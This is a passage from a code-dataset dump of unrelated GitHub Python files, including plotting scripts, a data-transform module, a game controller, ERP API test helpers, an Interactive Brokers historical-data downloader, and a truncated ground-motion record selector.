bn_layer.eps)\nassert torch.allclose(expected_outputs, bn_outputs)\n","repo_name":"jiye-ML/PyTorch-Study","sub_path":"code/02_layer/04_BN/simulate_BN_forward.py","file_name":"simulate_BN_forward.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"73531590598","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy.io import wavfile\n\nsample_rate, data = wavfile.read('data/greg/markers/CRCR_2FFT.wav')\nmarkers = pd.read_csv('data/greg/markers/CRCR_2FFT_markers.csv')\n\ndirections = list()\ndirection_map = {\n ('left', 'L'): 'left',\n ('left', 'R'): 'centre',\n ('centre', 'L'): 'left',\n ('centre', 'R'): 'right',\n ('right', 'L'): 'centre',\n ('right', 'R'): 'right'\n}\nprevious = 'centre'\nwas_previous_event = False\ntimes = [x[0] for x in data if x[0] < 4.2]\nvalues = [x[1] for x in data if x[0] < 4.2]\nevent_counter = 0\nfor i in range(len(times)):\n in_event = False\n for _, event in markers.iterrows():\n if times[i] >= event['start'] and times[i] <= event['end']:\n in_event = True\n if not was_previous_event:\n was_previous_event = True\n previous = direction_map[(previous, event['Action'])]\n plt.plot(times[i:i+sample_rate],\n values[i:i+sample_rate], color='#124F7B')\n plt.xlabel('Time (s)')\n plt.ylabel('Voltage (µV)')\n plt.show()\n event_counter += 1\n\n if not in_event:\n was_previous_event = False\n\n directions.append(previous)\n\ndata = pd.DataFrame({\n 'times': times,\n 'values': values,\n 'directions': directions\n})\n\ncolor_map = {\n 'left': '#008001',\n 'right': '#D94552',\n 'centre': '#124F7B'\n}\n\nprevious = 'centre'\ntime_segment = list()\nvalues_segment = list()\nfor i in range(len(data['directions'])):\n direction = data['directions'][i]\n if direction != previous:\n plt.plot(time_segment, values_segment, color=color_map[previous])\n time_segment = list()\n values_segment = list()\n\n time_segment.append(data['times'][i])\n values_segment.append(data['values'][i])\n previous = direction\n\nplt.plot(time_segment, values_segment, color=color_map[previous])\n\nplt.xlabel('Time (s)')\nplt.ylabel('Voltage (µV)')\nplt.legend(['Centre', 'Right'])\nplt.show()\n\nplt.savefig('overall.png')\n","repo_name":"jooshford/eye-movement-classifier","sub_path":"car_control_plot.py","file_name":"car_control_plot.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24746898732","text":"from typing import TYPE_CHECKING\n\nfrom sympy import Symbol\n\nfrom datacode.models.transform.transform import Transform\nfrom datacode.models.transform.applied import AppliedTransform\n\nif TYPE_CHECKING:\n from datacode.models.variables.variable import Variable\n from datacode.models.column.column import Column\n from datacode.models.source import DataSource\n\n\ndef create_changes_name_func(name: str, **kwargs) -> str:\n return name + ' Change'\n\n\ndef create_changes_symbol_func(sym: Symbol, **kwargs) -> Symbol:\n sym_str = str(sym)\n new_sym_str = r'\\delta ' + sym_str\n sym = Symbol(new_sym_str)\n return sym\n\n\ndef create_changes_data_func(col: 'Column', variable: 'Variable', source: 'DataSource', **kwargs) -> 'DataSource':\n from datacode.models.transform.specific.lag import lag_transform\n\n applied_lag_transform = AppliedTransform.from_transform(lag_transform, **kwargs)\n source_for_lag = source.copy(\n df=source.df[[variable.name]]\n )\n source_with_lag = applied_lag_transform.apply_to_source(\n source_for_lag,\n preserve_original=False,\n subset=[variable]\n )\n source.df[variable.name] = source.df[variable.name] - source_with_lag.df[variable.lag(**kwargs).name]\n\n return source\n\n\nchange_transform = Transform(\n 'change',\n name_func=create_changes_name_func,\n data_func=create_changes_data_func,\n symbol_func=create_changes_symbol_func,\n data_func_target='source'\n)\n","repo_name":"nickderobertis/data-code","sub_path":"datacode/models/transform/specific/change.py","file_name":"change.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15328285964","text":"# *_* coding=utf8 *_*\n#!/usr/bin/env python\n\nfrom cocos.layer import Layer\nfrom pyglet.window import key\n\nfrom threading import Thread\nfrom twisted.internet import reactor\nfrom medusa.network.client import Client\n\n\nclass GameCtrl(Layer):\n is_event_handler = True\n\n MOVE_KEY = {\n key.LEFT: (-1, 0),\n key.RIGHT: (1, 0),\n key.UP: (0, 1),\n key.DOWN: (0, -1)\n }\n\n def __init__(self, model):\n super(GameCtrl, self).__init__()\n self.model = model\n self.player_moving = False\n self.schedule(self.step)\n self.load_map(1)\n\n def init_network(self):\n # network connection \n self.client = Client(self.msg_handler)\n self.client.start(ip='127.0.0.1', port=80)\n Thread(target=reactor.run, kwargs={'installSignalHandlers': 0}).start()\n\n def load_map(self, map_id):\n self.model.load_map(map_id)\n\n def on_key_press(self, k, m):\n # 开始进行玩家移动\n direct = GameCtrl.MOVE_KEY.get(k)\n if direct is not None:\n self.model.player.set_direct(*direct)\n self.player_moving = True\n\n def on_key_release(self, k, m):\n # 停止玩家移动\n if GameCtrl.MOVE_KEY.has_key(k):\n self.player_moving = False\n\n def step(self, dt):\n if self.player_moving:\n self.model.player.move()\n","repo_name":"tangyi1989/game_client","sub_path":"medusa/client/main/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"41025274929","text":"\n\nimport requests,json\nfrom common import readexcel,untils\nfrom config import *\nfrom common import add_clientkey_to_headers\n\nclass OrganizationManage():\n #增加大区,返回大区id\n def insert_mgr_area(self):\n headers=add_clientkey_to_headers.get_clientkey()\n url=\"http://hft.myfun7.com/erpWeb/managerCenter/organization/insertMgrArea\"\n data=readexcel.ExcelUtil(ORGANIZATION_MANAGE_EXCEL_PATH,sheetName=\"组织管理-员工档案-增加大区\").dict_data()\n data=json.loads(data[0][\"body\"])\n\n res=requests.post(url=url,headers=headers,json=data)\n print(res.json()[\"data\"][\"areaId\"])\n return res.json()[\"data\"][\"areaId\"],headers\n\n # 删除增加的大区方法\n def delete_insert_mgr_area(self,areaId):\n headers = add_clientkey_to_headers.get_clientkey()\n url = \"http://hft.myfun7.com/erpWeb/managerCenter/organization/deleteMgrArea\"\n data = {\"areaId\": areaId}\n r = requests.post(url=url, json=data, headers=headers)\n return r.json()[\"errCode\"]\n\n # 增加片区\n def insert_mgr_range(self,header):\n url = \"http://hft.myfun7.com/erpWeb/managerCenter/organization/insertMgrRangeData\"\n data = readexcel.ExcelUtil(ORGANIZATION_MANAGE_EXCEL_PATH, sheetName=\"组织管理-员工档案-增加片区\").dict_data()\n data = json.loads(data[0][\"body\"])\n\n res = requests.post(url=url, headers=header, json=data)\n return res.json()[\"data\"][\"regId\"]\n\n\n #删除增加的片区\n def delete_insert_mgr_range(self, regid, header):\n url = \"http://hft.myfun7.com/erpWeb/managerCenter/organization/deleteMgrRangeData\"\n data = {\"regId\": regid}\n headers=header\n r = requests.post(url=url, json=data, headers=headers)\n return r.json()[\"errCode\"]\n\n # 提交员工邀请信息\n def add_InviteUserInfo(self):\n self.header=add_clientkey_to_headers.get_clientkey()\n url = \"http://hft.myfun7.com/erpWeb/managerCenter/organization/addInviteUserInfo\"\n data = readexcel.ExcelUtil(ORGANIZATION_MANAGE_EXCEL_PATH, sheetName=\"邀请注册接口\").dict_data()[0]\n dic_data=json.loads(data[\"body\"])\n dic_data[\"userMobile\"]=untils.CreatePhone().create_phone()\n str_data=json.dumps(dic_data)\n data.update({\"body\":str_data})\n\n r=requests.post(url,headers=self.header,json=json.loads(data[\"body\"]))\n return (dic_data[\"serviceReg\"], dic_data[\"serviceZoneIds\"], dic_data[\"serviceZone\"],\n dic_data[\"userMobile\"], self.header, dic_data[\"userName\"])\n\n # 获取邀请的链接参数\n def get_inviteLink(self,a):\n url=\"http://hft.myfun7.com/erpWeb/managerCenter/organization/getInviteLink\"\n data={}\n datas=a[\"CLIENTKEY\"]\n data.update({\"CLIENTKEY\":datas})\n res=requests.post(url=url, headers=a, json=data)\n link_params = res.json()[\"data\"][\"inviteLink\"].split(\"?\")[1].split(\"=\")[1]\n return link_params\n\n # 获取邀请id\n def get_inviteUserId(self,link_params,userMobile):\n url = \"http://erpweb.myfun7.com/erpWeb/openApi/inviteRegist/validateCompInviteMsg\"\n data = {\"param\": link_params,\n \"userMobile\": userMobile,\n \"code\": \"859652\"}\n r = requests.post(url, data=data)\n return r.json()[\"data\"][\"inviteId\"]\n\n # 按关键字查询添加的员工\n def get_UserListInfo(self,key_word,header):\n url=\"http://hft.myfun7.com/erpWeb/managerCenter/organization/getUserListInfo\"\n data={\"compId\":\"57422\",\"deptId\":\"904205\",\"keyWord\":key_word}\n r=requests.post(url,headers=header,json=data)\n return r.json()[\"data\"]\n # 注销员工\n def delete_user(self,userid,header):\n url=\"http://hft.myfun7.com/erpWeb/managerCenter/organization/deleteUser\"\n data={\"userId\": userid}\n r=requests.post(url,headers=header,json=data)\n return r.json()[\"errCode\"]","repo_name":"hejun123456/demon_test","sub_path":"common/OrganizationManage.py","file_name":"OrganizationManage.py","file_ext":"py","file_size_in_byte":3931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23387913492","text":"import threading\nimport logging\nimport pytz\nimport argparse\nimport sys\nimport tzlocal\nimport os\nfrom time import sleep\nfrom datetime import datetime, timedelta\nfrom swigibpy import EWrapper, EPosixClientSocket, Contract\n\n\n###### ENUMS\n\nclass TickType:\n unknown = 0\n bid = 1\n ask = 2\n last = 4\n high = 6\n low = 7\n close = 9\n\nclass ConnectionState:\n disconnected = 0\n broken = 1\n connected = 2\n\nclass ErrorCode:\n duplicate_orderid = 103\n cannot_find_order = 135\n historical_data_error = 162\n no_security_def_found = 200\n order_error = 201 # rejected order, cannot cancel filled order etc\n order_canceled = 202 # by tws client, for example\n error_validating_request = 321\n clientid_in_use = 326\n cross_order_repriced = 399\n order_held_locating_shares = 404\n already_connected = 501\n cannot_connect_to_tws = 502\n connection_error = 509\n connection_lost = 1100\n connection_restored = 1102\n account_data_unsubscribed = 2100\n modifying_order_while_being_modified = 2102\n md_connection_broken = 2103\n md_connection_ok = 2104\n md_connection_inactive = 2108\n order_outside_market_hours = 2109\n\nclass ExitCode:\n ok = 0\n error_can_continue = 1 # can continue batch script\n error_cannot_continue = 1 # cannot continue batch script\n\n\n\ndef contract_to_string(contract):\n s = '{}-'.format(contract.symbol)\n exchange = contract.exchange\n if contract.primaryExchange:\n exchange = contract.primaryExchange\n s += exchange\n if contract.expiry:\n s += '_{}'.format(contract.expiry)\n return s\n\n\n# def utc_to_local(utc_dt, local_tz):\n# local_dt = utc_dt.replace(tzinfo=pytz.utc).astimezone(local_tz)\n# return local_tz.normalize(local_dt) # .normalize might be unnecessary\n\ndef extract_hours(sessionstr, tz):\n\n splitted = sessionstr.split(\";\")\n\n first_start = None\n first_end = None\n second_start = None\n second_end = None\n\n # example string when closed: '20140222:CLOSED;20140224:0930-1600'\n\n if not \"CLOSED\" in splitted[0]:\n\n str = splitted[0]\n\n strp = str[0:8] + str[9:13]\n first_start = datetime.strptime(strp, \"%Y%m%d%H%M\")\n first_start = tz.localize(first_start)\n\n strp = str[0:8] + str[14:18]\n first_end = datetime.strptime(strp, \"%Y%m%d%H%M\")\n first_end = tz.localize(first_end)\n\n if not \"CLOSED\" in splitted[1]:\n\n str = splitted[1]\n\n strp = str[0:8] + str[9:13]\n second_start = datetime.strptime(strp, \"%Y%m%d%H%M\")\n second_start = tz.localize(second_start)\n\n strp = str[0:8] + str[14:18]\n second_end = datetime.strptime(strp, \"%Y%m%d%H%M\")\n second_end = tz.localize(second_end)\n\n return first_start, first_end, second_start, second_end\n\n\n\napi_started = threading.Event()\ncontract_details_received = threading.Event()\nhistorical_data_received = threading.Event()\nnum_batches_received = 0\nnum_requests = None\nworkstation_exited = False\n\ntws = None\nclientid = None\n\ncontract = Contract()\noutput_file = None\n\nprev_rth_start = None\nprev_rth_end = None\nnext_rth_start = None\nnext_rth_end = None\nprev_session_start = None\nprev_session_end = None\nnext_session_start = None\nnext_session_end = None\ncontract_tz = None\n\nlast_time = None\nprev_last_time = None\nperiod = None\nbarsize = None\ndatatype = None\nrth_only = None\npacing = None\nzerobased = None\n\n# cannot make two identical requests in 15 sec period\ncooldowntime = 15\n\nline_buffer = []\nlast_line = \"\"\ndt_format = None\n\n\nclass MyCallbacks(EWrapper):\n\n def error(self, id, errCode, errString):\n global clientid\n global tws\n global connection_state\n global pacing\n global last_time\n global cooldowntime\n\n s = \"IB[{}]: {}\".format(errCode, errString)\n if id > -1:\n s += \" (ID: {})\".format(id)\n logging.debug(s)\n\n if errCode == ErrorCode.clientid_in_use:\n logging.info(\"Client ID {} in use, reconnecting ...\".format(clientid))\n clientid += 1\n tws = EPosixClientSocket(self)\n tws.eConnect(\"\", 7496, clientid)\n elif errCode == ErrorCode.md_connection_ok:\n logging.info(\"IB[{}]: {}\".format(errCode, errString))\n api_started.set()\n # TODO: use a better string here!\n elif errCode == ErrorCode.historical_data_error and \"Historical data request pacing violation\" in errString:\n logging.info(\"Historical data pacing violation: retrying last batch and start using pacing between data requests...\")\n logging.info(errString)\n if not pacing:\n pacing = 10\n dt = prev_last_time.strftime(\"%Y%m%d %H:%M:%S\")\n logging.info(\"Cooling down for {} seconds...\".format(cooldowntime))\n sleep(cooldowntime)\n cooldowntime += 15 # sometimes we just need to cool down for a longer time\n tws.reqHistoricalData(0, contract, dt, duration, barsize, datatype, rth_only, 1)\n elif errCode == ErrorCode.historical_data_error and \"invalid step\" in errString:\n logging.info(\"IB[{}]: {}\".format(errCode, errString))\n historical_data_received.set()\n elif errCode == ErrorCode.historical_data_error and \"HMDS query returned no data\" in errString:\n logging.info(\"IB[{}]: {}\".format(errCode, errString))\n historical_data_received.set()\n elif (errCode == ErrorCode.historical_data_error and \"Trader Workstation exited\" in errString) or \\\n errCode == ErrorCode.cannot_connect_to_tws:\n logging.info(\"IB[{}]: {}\".format(errCode, errString))\n tws.exited = True\n historical_data_received.set()\n # requesting historical data from period too long time ago\n elif errCode == ErrorCode.error_validating_request and \"Historical data queries on this contract requesting any data earlier than\" in errString:\n dt = prev_last_time.strftime(dt_format)\n logging.info(\"IB cannot provide data from period ending {}, it's too far back in the history.\".format(dt))\n historical_data_received.set()\n elif errCode == ErrorCode.error_validating_request:\n s = \"IB[{}]: {}\".format(errCode, errString)\n if id > -1:\n s += \" (ID: {})\".format(id)\n logging.fatal(s)\n historical_data_received.set()\n elif errCode == ErrorCode.connection_lost:\n # TODO: some logic to retry after connection has been momentarily lost, and eventually give up...\n logging.info(\"Connection lost, saving data end aborting...\")\n if not output_file:\n sys.exit(ExitCode.error_can_continue)\n historical_data_received.set()\n elif errCode == ErrorCode.no_security_def_found:\n logging.info(\"IB[{}]: {}\".format(errCode, errString))\n if not output_file:\n sys.exit(ExitCode.error_can_continue)\n historical_data_received.set()\n else:\n s = \"IB[{}]: {}\".format(errCode, errString)\n if id > -1:\n s += \" (ID: {})\".format(id)\n logging.info(s)\n\n\n def orderStatus(self, orderId, status, filled, remaining, avgFillPrice, permId,\n parentId, lastFilledPrice, clientId, whyHeld):\n pass\n\n def openOrder(self, orderId, contract, order, os):\n pass\n\n def openOrderEnd(self):\n pass\n\n def execDetails(self, id, contract, execution):\n pass\n\n def commissionReport(self, report):\n pass\n\n def nextValidId(self, id):\n pass\n\n def managedAccounts(self, openOrderEnd):\n pass\n\n def contractDetailsEnd(self, reqId):\n pass\n\n\n\n\n def contractDetails(self, id, cd):\n global contract_details_received\n global prev_rth_start\n global prev_rth_end\n global next_rth_start\n global next_rth_end\n global prev_session_start\n global prev_session_end\n global next_session_start\n global next_session_end\n global contract_tz\n\n tz = None\n\n if cd.timeZoneId == 'EST':\n tz = pytz.timezone('US/Eastern')\n\n if tz:\n\n prev_rth_start, prev_rth_end, next_rth_start, next_rth_end = extract_hours(cd.liquidHours, tz)\n prev_session_start, prev_session_end, next_session_start, next_session_end = extract_hours(cd.tradingHours, tz)\n\n if prev_session_end:\n contract_tz = prev_session_end.tzinfo\n elif next_session_end:\n contract_tz = next_session_end.tzinfo\n else:\n raise Exception(\"We should have at least one session defined\")\n\n logging.debug(\"RTH: {} - {}, TH: {} - {}\".format(prev_rth_start, prev_rth_end, prev_session_start, prev_session_end))\n\n\n else:\n logging.error(\"Contract timezone cannot be determined.\")\n sys.exit(ExitCode.error_can_continue)\n\n contract_details_received.set()\n\n def tickPrice(self, id, tickType, price, canAutoExecute):\n pass\n\n def tickSize(self, id, tickType, size):\n pass\n\n def tickString(self, id, tickType, genericTicks):\n pass\n\n def tickGeneric(self, id, tickType, value):\n pass\n\n def updateAccountValue(self, key, value, currency, accountName):\n pass\n\n def updatePortfolio(self, contract, position, marketPrice, marketValue, averageCost, unrealizedPNL, realizedPNL, accountName):\n pass\n\n def updateAccountTime(self, timeStamp):\n pass\n\n def accountDownloadEnd(self, accountName):\n pass\n\n def historicalData(self, id, date, open, high, low, close, volume, barCount, WAP, hasGaps):\n global prev_last_time\n global last_time\n global num_batches_received\n global line_buffer\n global last_line\n\n local_tz = tzlocal.get_localzone()\n\n # special string will be printed on date field when finished\n if \"finished\" in date:\n num_batches_received += 1\n s = \"Batch {} finished ({} lines). (msg: {})\".format(num_batches_received, len(line_buffer), date)\n if num_requests > 1 and pacing and num_batches_received != num_requests:\n s += \" {} seconds remaining\".format((num_requests - num_batches_received) * 10)\n logging.info(s)\n\n line_buffer.reverse()\n\n # may happen on some circumstances, batches overlap each other by 1 bar\n if line_buffer[0] == last_line:\n del line_buffer[0]\n\n for line in line_buffer:\n output_file.write(line)\n\n last_line = line_buffer[-1]\n\n line_buffer.clear()\n\n if num_batches_received == num_requests:\n historical_data_received.set()\n return\n\n if pacing:\n sleep(pacing)\n\n # date argument is showing strange datetime-range (tws bug?) so it cannot be used to optimize batch sizing!\n\n dt_contract = last_time.astimezone(contract_tz)\n dt = last_time.strftime(\"%Y%m%d %H:%M:%S\")\n\n logging.info(\"Requesting historical data batch ending {}\".format(dt_contract.strftime(dt_format)))\n tws.reqHistoricalData(0, contract, dt, duration, barsize, datatype, rth_only, 1)\n prev_last_time = last_time\n last_time = None\n return\n\n dt = datetime.strptime(date, dt_format)\n if dt_format != \"%Y%m%d\":\n dt = local_tz.localize(dt)\n\n if not last_time:\n last_time = dt\n\n if dt_format != \"%Y%m%d\":\n dt = dt.astimezone(contract_tz)\n\n if zerobased:\n # TODO: implement this, first bar of the day starts from time zero etc ...\n pass\n\n dtstr = dt.strftime(dt_format)\n\n if datatype == \"TRADES\":\n line_buffer.append(\"{date},{open},{high},{low},{close},{volume},{barCount},{WAP},{hasGaps}\\n\".format(date=dtstr, open=open, high=high, low=low, close=close, volume=volume, barCount=barCount, WAP=WAP, hasGaps=hasGaps))\n # open = average bid, high = average ask\n elif datatype == \"BID_ASK\":\n line_buffer.append(\"{date},{bid},{ask},{hasGaps}\\n\".format(date=dtstr, bid=open, ask=high, hasGaps=hasGaps))\n elif datatype == \"BID\" or datatype == \"ASK\" or datatype == \"MIDPOINT\" or datatype == \"OPTION_IMPLIED_VOLATILITY\":\n line_buffer.append(\"{date},{open},{high},{low},{close},{hasGaps}\\n\".format(date=dtstr, open=open, high=high, low=low, close=close, hasGaps=hasGaps))\n elif datatype == \"HISTORICAL_VOLATILITY\":\n line_buffer.append(\"{date},{vola},{hasGaps}\".format(date=dtstr, vola=open, hasGaps=hasGaps))\n\n logging.debug(line_buffer[-1])\n # output_file.write(s)\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description=\"Downloads historical data from TWS\")\n\n # optional arguments\n parser.add_argument(\"-e\", default=\"now\", help=\"ending date (in contract's timezone), format: YYYYMMDD [HH:mm:ss] (time is optional), other possible values include: end, now\")\n parser.add_argument(\"-n\", type=int, default=1, help=\"how many data requests to send?\")\n parser.add_argument(\"-o\", help=\"output filename\")\n parser.add_argument(\"-p\", default=\"1 min\", help='periodicity of bars, for example \"1 min\"')\n parser.add_argument(\"-d\", help=\"Duration for a single request\")\n parser.add_argument(\"-t\", default=\"TRADES\", choices=[\"TRADES\", \"MIDPOINT\", \"BID\", \"ASK\", \"BID_ASK\", \"HISTORICAL_VOLATILITY\", \"OPTION_IMPLIED_VOLATILITY\"], help=\"what kind of data to fetch?\")\n parser.add_argument(\"-rth\", action=\"store_true\", help=\"fetch regular trading hours only\")\n parser.add_argument(\"--pacing\", type=int, help=\"pace requests x seconds apart from each other?\")\n parser.add_argument(\"-z\", action=\"store_true\", help=\"use zero-based time from the beginning of trading session\")\n parser.add_argument(\"-v\", action=\"store_true\", help=\"verbose mode\")\n\n # contract arguments\n con_group = parser.add_argument_group('contract arguments')\n con_group.add_argument(\"-sym\", help=\"symbol of the contract\")\n con_group.add_argument(\"-exc\", help=\"exchange of the contract\")\n con_group.add_argument(\"-st\", help=\"security type of the contract\")\n con_group.add_argument(\"-cur\", help=\"currency of the contract\")\n con_group.add_argument(\"-id\", type=int, help=\"id of the contract\")\n con_group.add_argument(\"-exp\", help=\"expiry (YYYYMM[DD]) of the contract\")\n con_group.add_argument(\"-pex\", help=\"primary exchange of the contract\")\n con_group.add_argument(\"-str\", help=\"strike price of the option contract\")\n con_group.add_argument(\"-rt\", choices=[\"C\", \"P\"], help=\"right of the option contract (C/P)\")\n con_group.add_argument(\"-mult\", help=\"multiplier of the contract\")\n\n args = parser.parse_args()\n\n if args.v:\n logging.basicConfig(handlers=[logging.StreamHandler()], level=logging.DEBUG, format='%(asctime)s [%(levelname)s] %(message)s', datefmt='%j-%H:%M:%S')\n else:\n logging.basicConfig(handlers=[logging.StreamHandler()], level=logging.INFO, format='%(asctime)s [%(levelname)s] %(message)s', datefmt='%j-%H:%M:%S')\n\n logging.debug(args)\n\n if args.sym: contract.symbol = args.sym\n if args.exc: contract.exchange = args.exc\n if args.st: contract.secType = args.st\n if args.cur: contract.currency = args.cur\n if args.id: contract.conId = args.id\n if args.exp: contract.expiry = args.exp\n if args.pex: contract.primaryExchange = args.pex\n if args.str: contract.strike = args.str\n if args.rt: contract.right = args.rt\n if args.mult: contract.multiplier = args.mult\n\n barsize = args.p\n datatype = args.t\n rth_only = args.rth\n pacing = args.pacing\n num_requests = args.n\n zerobased = args.z\n\n if barsize == \"1 day\" or barsize == \"1W\" or barsize == \"1M\":\n dt_format = \"%Y%m%d\"\n else:\n dt_format = \"%Y%m%d %H:%M:%S\"\n\n logging.info(\"Starting to download {}, series: {}, bartype: '{}'\".format(contract_to_string(contract), datatype, barsize))\n\n # individual accounts may have different limits\n max_duration = {\n '1 secs': '2000 S',\n '5 secs': '10000 S',\n '10 secs': '20000 S',\n '15 secs': '30000 S',\n '30 secs': '1 D',\n '1 min': '10 D',\n '2 mins': '10 D',\n '3 mins': '10 D',\n '5 mins': '10 D',\n '10 mins': '10 D',\n '15 mins': '10 D',\n '20 mins': '25 D',\n '30 mins': '25 D',\n '1 hour': '1 M',\n '2 hour': '1 M',\n '3 hour': '1 M',\n '4 hour': '1 M',\n '8 hour': '1 M',\n '1 day': '1 Y',\n '1W': '1 Y',\n '1M': '1 Y'\n }\n\n if args.d:\n duration = args.d\n else:\n duration = max_duration[barsize]\n\n # need to get extra info from tws in order to proceed\n\n callbacks = MyCallbacks()\n\n tws = EPosixClientSocket(callbacks)\n tws.exited = False # used to show whether TWS has suddenly exited\n\n # generate clientid based on time of day so that we won't likely get duplicate clientids\n timenow = datetime.utcnow().time()\n clientid = timenow.hour * 60 * 60 + timenow.minute * 60 + timenow.second\n\n tws.eConnect(\"\", 7496, clientid)\n\n api_started.wait(10)\n\n if tws.exited:\n sys.exit(2)\n\n logging.info(\"API functional, getting started...\")\n\n logging.info(\"Requesting contract details...\")\n tws.reqContractDetails(0, contract)\n contract_details_received.wait(5)\n if not prev_session_end and not next_session_end:\n logging.info(\"Failed to retrieve contract details. Aborting...\")\n sys.exit(ExitCode.error_can_continue)\n logging.info(\"Contract details received.\")\n\n # historical data is requested and received in local timezone\n\n now = datetime.now()\n local_tz = tzlocal.get_localzone()\n now = local_tz.localize(now)\n\n if args.e == \"now\":\n if not next_session_start:\n if args.rth:\n endtime = prev_rth_end.astimezone(local_tz)\n else:\n endtime = prev_session_end.astimezone(local_tz)\n else:\n if rth_only:\n if now > next_rth_start.astimezone(local_tz):\n endtime = now\n else:\n endtime = datetime.combine(datetime.date(now), next_rth_end.time())\n else:\n if now > next_session_start.astimezone(local_tz):\n endtime = now\n else:\n endtime = datetime.combine(datetime.date(now), next_session_end.time())\n endtime = contract_tz.localize(endtime)\n endtime = endtime.astimezone(local_tz)\n elif args.e == \"end\":\n if not prev_session_end:\n if args.rth:\n endtime = next_rth_end.astimezone(local_tz)\n else:\n endtime = next_session_end.astimezone(local_tz)\n else:\n if args.rth:\n endtime = prev_rth_end.astimezone(local_tz)\n else:\n endtime = prev_session_end.astimezone(local_tz)\n else:\n try:\n endtime = datetime.strptime(args.e, \"%Y%m%d\")\n if args.rth:\n if prev_rth_end:\n endtime = datetime.combine(datetime.date(endtime), prev_rth_end.time())\n else:\n endtime = datetime.combine(datetime.date(endtime), next_rth_end.time())\n else:\n if prev_rth_end:\n endtime = datetime.combine(datetime.date(endtime), prev_session_end.time())\n else:\n endtime = datetime.combine(datetime.date(endtime), next_session_end.time())\n endtime = contract_tz.localize(endtime)\n endtime = endtime.astimezone(local_tz)\n except ValueError:\n endtime = datetime.strptime(args.e, \"%Y%m%d %H:%M:%S\")\n endtime = contract_tz.localize(endtime)\n endtime = endtime.astimezone(local_tz)\n except ValueError:\n print(\"end must be in format: %Y%m%d or %Y%m%d %H:%M:%S\")\n sys.exit(ExitCode.error_can_continue)\n\n\n # we got all the necessary information now\n\n if args.o:\n filename = args.o\n else:\n filename = \"{}_{}_{}.csv\".format(contract_to_string(contract), barsize.replace(\" \", \"\"), datatype)\n output_file = open(filename, 'w')\n\n\n s = \"Receiving {} batches of historical data...\".format(num_requests)\n if num_requests > 1 and pacing:\n s += \" {} seconds remaining\".format((num_requests - num_batches_received) * pacing)\n logging.info(s)\n prev_last_time = endtime\n\n if tws.exited:\n sys.exit(2)\n\n tws.reqHistoricalData(0, contract, endtime.strftime(\"%Y%m%d %H:%M:%S\"), duration, barsize, datatype, rth_only, 1)\n historical_data_received.wait()\n\n\n if output_file.tell() > 0: # file not empty\n logging.info(\"Reversing the output file...\")\n\n output_file.close()\n\n with open(filename, 'r') as input_file:\n lines = input_file.readlines()\n\n lines.reverse()\n with open(filename, 'w') as output_file:\n for line in lines:\n output_file.write(line)\n else:\n output_file.close()\n logging.info(\"Nothing was written to the output file, removing output file.\")\n os.remove(filename)\n\n # signal possible batch execution that it cannot continue\n if tws.exited:\n sys.exit(ExitCode.error_cannot_continue)\n\n logging.info(\"Disconnecting...\")\n tws.eDisconnect()\n","repo_name":"sjlnk/jtsdownloader","sub_path":"jtsdownloader.py","file_name":"jtsdownloader.py","file_ext":"py","file_size_in_byte":21730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28677260419","text":"import os\nimport subprocess\nimport time\nimport glob\nimport re\nimport shutil\nimport sys\nfrom pathlib import Path\nR2D = True\nif not R2D:\n from selenium import webdriver\nimport json\nimport random\nimport numpy as np\nimport pandas as pd\nimport zipfile\nimport csv\nimport copy\n\n\nclass GM_Selector:\n\n def __init__(self, gmdb_im_df=dict(), num_records=1, sf_min=None, sf_max=None, target_im=None):\n\n self.set_gmdb_im_df(gmdb_im_df)\n self.set_num_records(num_records)\n self.set_sf_range(sf_min, sf_max)\n self.set_target_im(target_im)\n\n def set_gmdb_im_df(self, gmdb_im_df):\n self.gmdb_im_df = gmdb_im_df\n self.num_gm = len(gmdb_im_df['RSN'])\n tmp_list = list(gmdb_im_df.keys())\n tmp_list.remove('RSN')\n self.im_list = tmp_list\n tmp_scalable = []\n for cur_im in self.im_list:\n if cur_im.startswith('DS'):\n tmp_scalable.append(0)\n else:\n tmp_scalable.append(1)\n self.scalable = tmp_scalable\n\n def set_num_records(self, num_records):\n self.num_records = num_records\n\n def set_sf_range(self, sf_min, sf_max):\n if sf_min is None:\n self.sf_min = 0.0001\n else:\n self.sf_min = sf_min\n if sf_max is None:\n self.sf_max = 100000.0\n else:\n self.sf_max = sf_max\n self.sf_range = np.linspace(self.sf_min, self.sf_max, 100)\n\n def set_target_im(self, target_im):\n self.target_im = [target_im for k in range(self.num_gm)]\n\n def select_records(self):\n\n im_table = self.gmdb_im_df.iloc[:,1:]\n min_err = 1000000.0\n for s in self.sf_range:\n cur_im_table = copy.copy(im_table)\n for i in range(cur_im_table.shape[1]):\n if self.scalable[i]:\n cur_im_table.iloc[:,i] = cur_im_table.iloc[:,i]*s\n err = np.linalg.norm(np.exp(self.target_im) - cur_im_table.to_numpy(), axis = 1)\n if np.min(err) < min_err:\n min_err = np.min(err)\n tmp_tag = err.argmin()\n sf = s\n\n self.loc_tag = tmp_tag\n self.min_err = min_err\n self.rsn_tag = self.gmdb_im_df['RSN'].values.tolist()[tmp_tag]\n self.sf = sf\n\n\ndef select_ground_motion(im_list, target_ln_im, gmdb_file, sf_max, sf_min,\n output_dir, output_file, stations):\n\n # Loading gmdb\n if gmdb_file == 'NGAWest2':\n cwd = os.path.dirname(os.path.realpath(__file__))\n gmdb = pd.read_csv(cwd+'/database/gmdb/NGAWest2.csv', header = 0, index_col = None, low_memory=False)\n # Parsing spectral data\n num_gm = len(gmdb['RecId'])\n tmp = gmdb.keys()[37:147]\n T_db = [float(a.replace('T','').replace('S','')) for a in tmp]\n psa_db = gmdb.iloc[:, 37:147]\n pga = gmdb.iloc[:, 34]\n pgv = gmdb.iloc[:, 35]\n pgd = gmdb.iloc[:, 